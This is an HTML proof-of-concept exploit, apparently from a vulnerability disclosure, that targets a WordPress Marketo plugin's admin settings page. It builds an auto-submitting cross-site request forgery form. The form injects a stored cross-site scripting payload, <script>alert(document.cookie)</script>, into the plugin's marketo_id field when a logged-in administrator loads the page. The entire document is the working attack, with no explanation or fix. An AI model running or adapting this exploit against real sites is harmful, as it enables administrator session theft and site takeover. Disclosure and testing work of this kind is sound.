<html> <form action="https://[WP]/wp-admin/admin.php?page=marketo_fat" method="POST" id="csrf"> <input type="text" name="marketo_save" value="true"> <input type="text" name="marketo[marketo_id]" value=""><script>alert(document.cookie)</script>"> <input type="text" name="marketo[marketo_base_url]" value=""> <input type="text" name="marketo[user_id]" value=""> <input type="text" name="marketo[end_point]" value=""> <input type="text" name="marketo[secret]" value=""> <input type="text" name="marketo[popout_title]" value=""> <input type="text" name="marketo[popout_tabtext]" value=""> <input type="text" name="marketo[popout_snippet]" value=""> <input type="text" name="marketo[popout_form]" value=""> </form> <script> document.getElementById('csrf').submit(); </script> </html>